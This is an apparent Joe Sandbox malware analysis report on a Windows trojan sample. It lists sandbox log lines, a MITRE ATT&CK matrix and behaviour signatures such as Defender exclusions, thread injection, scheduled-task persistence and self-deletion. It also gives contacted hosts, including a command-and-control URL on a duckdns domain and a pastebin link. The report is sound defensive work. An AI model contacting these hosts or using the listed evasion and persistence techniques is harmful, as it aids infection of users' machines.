Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Users\user\Desktop\sE5IdDeTp2.exeCode function: 0_2_00007FF779712710 GetModuleHandleW,GetProcAddress,GetSystemTimeAsFileTime,0_2_00007FF779712710

Mitre Att&ck Matrix

ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity InformationAcquire InfrastructureValid Accounts111
Windows Management Instrumentation		1
Scheduled Task/Job		112
Process Injection		1
Disable or Modify Tools		OS Credential Dumping1
System Time Discovery		Remote Services11
Archive Collected Data		21
Encrypted Channel		Exfiltration Over Other Network Medium1
Data Encrypted for Impact
CredentialsDomainsDefault Accounts1
Scheduled Task/Job		1
DLL Side-Loading		1
Scheduled Task/Job		131
Virtualization/Sandbox Evasion		LSASS Memory211
Security Software Discovery		Remote Desktop ProtocolData from Removable Media2
Non-Application Layer Protocol		Exfiltration Over BluetoothNetwork Denial of Service
Email AddressesDNS ServerDomain Accounts1
Exploitation for Client Execution		Logon Script (Windows)1
DLL Side-Loading		112
Process Injection		Security Account Manager2
Process Discovery		SMB/Windows Admin SharesData from Network Shared Drive13
Application Layer Protocol		Automated ExfiltrationData Encrypted for Impact
Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook1
Deobfuscate/Decode Files or Information		NTDS131
Virtualization/Sandbox Evasion		Distributed Component Object ModelInput CaptureProtocol ImpersonationTraffic DuplicationData Destruction
Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script2
Obfuscated Files or Information		LSA Secrets1
Application Window Discovery		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
DLL Side-Loading		Cached Domain Credentials1
File and Directory Discovery		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
File Deletion		DCSync14
System Information Discovery		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1589501 Sample: sE5IdDeTp2.exe Startdate: 12/01/2025 Architecture: WINDOWS Score: 96 68 blockchainlegion.duckdns.org 2->68 70 polygon-rpc.com 2->70 76 Multi AV Scanner detection for submitted file 2->76 78 AI detected suspicious sample 2->78 80 Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet 2->80 9 dialer_java.exe 1 2->9         started        12 sE5IdDeTp2.exe 1 5 2->12         started        15 dialer_java.exe 1 2->15         started        17 4 other processes 2->17 signatures3 82 Uses dynamic DNS services 68->82 process4 file5 88 Multi AV Scanner detection for dropped file 9->88 90 Exploit detected, runtime environment starts unknown processes 9->90 92 Modifies the context of a thread in another process (thread injection) 9->92 19 conhost.exe 8 9->19         started        23 powershell.exe 9->23         started        31 2 other processes 9->31 66 C:\ProgramData\...\dialer_java.exe, PE32+ 12->66 dropped 94 Self deletion via cmd or bat file 12->94 96 Uses schtasks.exe or at.exe to add and modify task schedules 12->96 98 Adds a directory exclusion to Windows Defender 12->98 25 powershell.exe 23 12->25         started        33 5 other processes 12->33 27 powershell.exe 15->27         started        35 2 other processes 15->35 29 powershell.exe 17->29         started        37 11 other processes 17->37 signatures6 process7 dnsIp8 72 blockchainlegion.duckdns.org 193.233.113.77, 49738, 49741, 49873 FREE-MPEIRU Russian Federation 19->72 74 polygon-rpc.com 173.244.207.29, 443, 49737 UK2NET-ASGB United States 19->74 84 Adds a directory exclusion to Windows Defender 19->84 45 18 other processes 19->45 39 conhost.exe 23->39         started        86 Loading BitLocker PowerShell Module 25->86 48 2 other processes 25->48 41 conhost.exe 27->41         started        43 conhost.exe 29->43         started        50 3 other processes 31->50 52 7 other processes 33->52 54 3 other processes 35->54 56 15 other processes 37->56 signatures9 process10 signatures11 100 Loading BitLocker PowerShell Module 45->100 58 conhost.exe 45->58         started        60 conhost.exe 45->60         started        62 conhost.exe 45->62         started        64 15 other processes 45->64 102 Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines) 48->102 104 Adds a directory exclusion to Windows Defender 48->104 process12

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.


windows-stand

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

SourceDetectionScannerLabelLink
sE5IdDeTp2.exe40%VirustotalBrowse
sE5IdDeTp2.exe37%ReversingLabsWin64.Trojan.MintZard

Dropped Files

SourceDetectionScannerLabelLink
C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exe37%ReversingLabsWin64.Trojan.MintZard

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

SourceDetectionScannerLabelLink
http://blockchainlegion.duckdns.org/api/point.php4Y0%Avira URL Cloudsafe
http://blockchainlegion.duckdns.org/api/point.php90%Avira URL Cloudsafe
http://blockchainlegion.duckdns.org/0%Avira URL Cloudsafe
http://blockchainlegion.duckdns.org/api/point.php0%Avira URL Cloudsafe
http://blockchainlegion.duckdns.org/api/point.phhttps://pastebin.com/raw/0UNPcCFkpolygon-rpc.com0x750%Avira URL Cloudsafe
http://blockchainlegion.duckdns.org:80/api/point.php0%Avira URL Cloudsafe
http://blockchainlegion.duckdns.org/ll0%Avira URL Cloudsafe
http://blockchainlegion.duckdns.org/l0%Avira URL Cloudsafe

Domains and IPs

Contacted Domains

NameIPActiveMaliciousAntivirus DetectionReputation
blockchainlegion.duckdns.org
193.233.113.77
truetrue
    		unknown
    polygon-rpc.com
    		173.244.207.29
    		truefalse
      		high

      Contacted URLs

      NameMaliciousAntivirus DetectionReputation
      https://polygon-rpc.com/false
        		high

        URLs from Memory and Binaries

        NameSourceMaliciousAntivirus DetectionReputation
        https://pastebin.com/raw/0UNPcCFtconhost.exe, 0000001B.00000002.3547859630.000002B353C05000.00000004.00000020.00020000.00000000.sdmpfalse
          		high
          http://blockchainlegion.duckdns.org/conhost.exe, 0000001B.00000002.3547471787.000002B353A61000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000001B.00000002.3547471787.000002B3539F8000.00000004.00000020.00020000.00000000.sdmpfalse
          • Avira URL Cloud: safe
          		unknown
          http://blockchainlegion.duckdns.org/lconhost.exe, 0000001B.00000002.3547471787.000002B353A61000.00000004.00000020.00020000.00000000.sdmpfalse
          • Avira URL Cloud: safe
          		unknown
          http://blockchainlegion.duckdns.org/llconhost.exe, 0000001B.00000002.3547471787.000002B353A61000.00000004.00000020.00020000.00000000.sdmpfalse
          • Avira URL Cloud: safe
          		unknown
          http://blockchainlegion.duckdns.org/api/point.php9conhost.exe, 0000001B.00000002.3547471787.000002B353AEB000.00000004.00000020.00020000.00000000.sdmpfalse
          • Avira URL Cloud: safe
          		unknown
          http://blockchainlegion.duckdns.org/api/point.phhttps://pastebin.com/raw/0UNPcCFkpolygon-rpc.com0x75dialer_java.exe, 0000000F.00000003.1919052720.00000172AC920000.00000004.00000001.00020000.00000000.sdmp, conhost.exe, 0000001B.00000002.3547136321.0000000140095000.00000002.00000001.00020000.00000000.sdmpfalse
          • Avira URL Cloud: safe
          		unknown
          https://pastebin.com/raw/0UNPcCFkdialer_java.exe, 0000000F.00000003.1919052720.00000172AC920000.00000004.00000001.00020000.00000000.sdmp, conhost.exe, 0000001B.00000002.3547136321.0000000140095000.00000002.00000001.00020000.00000000.sdmpfalse
            		high
            http://blockchainlegion.duckdns.org/api/point.phpconhost.exe, 0000001B.00000002.3547471787.000002B353AA9000.00000004.00000020.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            http://blockchainlegion.duckdns.org/api/point.php4Yconhost.exe, 0000001B.00000002.3547471787.000002B353AA9000.00000004.00000020.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            http://blockchainlegion.duckdns.org:80/api/point.phpconhost.exe, 0000001B.00000002.3547471787.000002B353A61000.00000004.00000020.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            https://polygon-rpc.com:443/conhost.exe, 0000001B.00000003.1932871231.000002B353A52000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000001B.00000002.3547471787.000002B353A4B000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000001B.00000003.1932967988.000002B353A57000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000001B.00000003.1931997463.000002B353A52000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000001B.00000003.1930710101.000002B353A51000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000001B.00000003.1928785863.000002B353A51000.00000004.00000020.00020000.00000000.sdmpfalse
              		high

              World Map of Contacted IPs

              • No. of IPs < 25%
              • 25% < No. of IPs < 50%
              • 50% < No. of IPs < 75%
              • 75% < No. of IPs

              Public IPs

              IPDomainCountryFlagASNASN NameMalicious
              193.233.113.77
              		blockchainlegion.duckdns.orgRussian Federation
              		20549FREE-MPEIRUtrue
              173.244.207.29
              		polygon-rpc.comUnited States
              		13213UK2NET-ASGBfalse

              General Information

              Joe Sandbox version:42.0.0 Malachite
              Analysis ID:1589501
              Start date and time:2025-01-12 17:48:20 +01:00
              Joe Sandbox product:CloudBasic
              Overall analysis duration:0h 10m 54s
              Hypervisor based Inspection enabled:false
              Report type:full
              Cookbook file name:default.jbs
              Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
              Run name:Run with higher sleep bypass
              Number of analysed new started processes analysed:108
              Number of new started drivers analysed:0
              Number of existing processes analysed:0
              Number of existing drivers analysed:0
              Number of injected processes analysed:0
              Technologies:
              • HCA enabled
              • EGA enabled
              • AMSI enabled
              Analysis Mode:default
              Analysis stop reason:Timeout
              Sample name:sE5IdDeTp2.exe
              renamed because original name is a hash value
              Original Sample Name:dd36f6f79e68d5e54c75527db2da97ad.exe
              Detection:MAL
              Classification:mal96.troj.expl.evad.winEXE@157/56@4/2
              EGA Information:
              • Successful, ratio: 100%
              HCA Information:
              • Successful, ratio: 55%
              • Number of executed functions: 12
              • Number of non-executed functions: 286
              Cookbook Comments:
              • Found application associated with file extension: .exe
              • Sleeps bigger than 100000000ms are automatically reduced to 1000ms
              • Sleep loops longer than 100000000ms are bypassed. Single calls with delay of 100000000ms and higher are ignored

              Warnings

              • Exclude process from analysis (whitelisted): MpCmdRun.exe, Conhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe
              • Excluded IPs from analysis (whitelisted): 20.12.23.50, 20.109.210.53, 13.107.246.45
              • Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
              • Not all processes where analyzed, report is missing behavior information
              • Report size exceeded maximum capacity and may have missing behavior information.
              • Report size exceeded maximum capacity and may have missing disassembly code.
              • Report size getting too big, too many NtCreateKey calls found.

              Simulations

              Behavior and APIs

              TimeTypeDescription
              16:49:24Task SchedulerRun new task: Oracle Corporation path: %ProgramData%\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exe

              Joe Sandbox View / Context

              IPs

              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
              173.244.207.29https://web3resolution.pages.dev/Get hashmaliciousHTMLPhisherBrowse
                http://debugticket.vercel.app/Get hashmaliciousHTMLPhisherBrowse
                  https://bafybeihwopeeamsw6gk3vbg3wbftvt3n2qngbzo5a4hlnpvlv4hc3vvmyy.ipfs.dweb.link/Get hashmaliciousUnknownBrowse
                    https://metagalaxy.pages.dev/Get hashmaliciousHTMLPhisherBrowse
                      http://bridge-a3vigrfjd-pancakeswap.vercel.app/Get hashmaliciousUnknownBrowse
                        https://bafybeih5zpu7rzaoeodorqhminsbsmv3eswg6px7qixdtiwflfle6cv364.ipfs.dweb.link/Get hashmaliciousUnknownBrowse
                          http://ecometanexus.unids.com/Get hashmaliciousUnknownBrowse
                            https://simplescalingdefender.pages.dev/Get hashmaliciousUnknownBrowse
                              http://rewardsforyoutoclaim.pages.dev/Get hashmaliciousUnknownBrowse

                                Domains

                                ⊘No context

                                ASNs

                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                FREE-MPEIRUhttps://sora-ai-download.com/Get hashmaliciousUnknownBrowse
                                • 193.233.112.39
                                Set-up.exeGet hashmaliciousUnknownBrowse
                                • 193.233.84.212
                                XODc5nV1kC.exeGet hashmaliciousLummaCBrowse
                                • 193.233.112.194
                                BnxBRWQWhy.exeGet hashmaliciousStealc, VidarBrowse
                                • 193.233.112.44
                                NJna3TEAEr.exeGet hashmaliciousStealc, VidarBrowse
                                • 193.233.112.44
                                file.exeGet hashmaliciousStealcBrowse
                                • 193.233.113.184
                                file.exeGet hashmaliciousStealcBrowse
                                • 193.233.113.184
                                file.exeGet hashmaliciousStealcBrowse
                                • 193.233.113.184
                                file.exeGet hashmaliciousStealc, VidarBrowse
                                • 193.233.113.184
                                UK2NET-ASGBLbtytfWpvx.vbsGet hashmaliciousRemcosBrowse
                                • 45.80.158.30
                                BBVA S.A..vbsGet hashmaliciousRemcosBrowse
                                • 45.80.158.30
                                173378939937efea07b4bc781b0b774c712430f5494a016d81092444624b7a38c4894091d6159.dat-decoded.exeGet hashmaliciousRemcosBrowse
                                • 45.80.158.30
                                Aktarma,pdf.vbsGet hashmaliciousRemcosBrowse
                                • 45.80.158.30
                                main_m68k.elfGet hashmaliciousMiraiBrowse
                                • 77.92.90.50
                                la.bot.mips.elfGet hashmaliciousUnknownBrowse
                                • 88.202.185.180
                                la.bot.m68k.elfGet hashmaliciousUnknownBrowse
                                • 46.28.54.10
                                173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                • 45.80.158.30
                                Doc261124.vbsGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                • 45.80.158.30

                                JA3 Fingerprints

                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                a0e9f5d64349fb13191bc781f81f42e1NDWffRLk7z.exeGet hashmaliciousLummaCBrowse
                                • 173.244.207.29
                                g3toRYa6JE.exeGet hashmaliciousLummaCBrowse
                                • 173.244.207.29
                                lBb4XI4eGD.exeGet hashmaliciousLummaCBrowse
                                • 173.244.207.29
                                UWYXurYZ2x.exeGet hashmaliciousLummaC, Amadey, Babadeda, DanaBot, KeyLogger, LummaC Stealer, Poverty StealerBrowse
                                • 173.244.207.29
                                TBI87y49f9.exeGet hashmaliciousLummaCBrowse
                                • 173.244.207.29
                                H5JVfa61AV.exeGet hashmaliciousLummaCBrowse
                                • 173.244.207.29
                                2EG0jAmtY6.exeGet hashmaliciousLummaCBrowse
                                • 173.244.207.29
                                5vrRrFN56j.exeGet hashmaliciousBdaejecBrowse
                                • 173.244.207.29
                                rii2.mp3.htaGet hashmaliciousLummaCBrowse
                                • 173.244.207.29

                                Dropped Files

                                ⊘No context

                                Created / dropped Files

                                C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exe

                                Download File
                                Process:C:\Users\user\Desktop\sE5IdDeTp2.exe
                                File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                Category:modified
                                Size (bytes):1245320
                                Entropy (8bit):6.811982830856188
                                Encrypted:false
                                SSDEEP:12288:2iQnVXYD4TNwzBcgXn0dE/xmiNrP64F78O9PpctLMbl0UVh4OsYX0bLDHOM5p:KNw1iS/EiNb64F78yPd+WDsYX0bLzOCp
                                MD5:DD36F6F79E68D5E54C75527DB2DA97AD
                                SHA1:A373E613510ADA66CEA74FFC590C25EDC59957AC
                                SHA-256:3030BA393865E41FEE490205BF5873B4041275A8830D5E764693771FEC2BD35E
                                SHA-512:E1F9E1C8D246FD381D5AF12C87940DF54DF9F6877BFF58ABDEA7A8D533A31A675B553D7E5BB134BB64576DE53A3C72C4E8A3E624A639C13DFA918F2A4A638FD1
                                Malicious:true
                                Antivirus:
                                • Antivirus: ReversingLabs, Detection: 37%
                                Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...X.g.........."......~...V......@..........@.............................P............`.....................................................<....0..@.......L........(...@.................................(.......8............................................text....}.......~.................. ..`.rdata..0...........................@..@.data.......0......................@....pdata..L...........................@..@.00cfg..............................@..@.tls......... ......................@....rsrc...@....0......................@..@.reloc.......@......................@..B........................................................................................................................................................................................................................................................................................................

                                C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                Download File
                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                File Type:data
                                Category:modified
                                Size (bytes):64
                                Entropy (8bit):0.34726597513537405
                                Encrypted:false
                                SSDEEP:3:Nlll:Nll
                                MD5:446DD1CF97EABA21CF14D03AEBC79F27
                                SHA1:36E4CC7367E0C7B40F4A8ACE272941EA46373799
                                SHA-256:A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
                                SHA-512:A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
                                Malicious:false
                                Preview:@...e...........................................................

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0wumqal2.3st.psm1

                                Download File
                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_25jyogrn.avg.ps1

                                Download File
                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
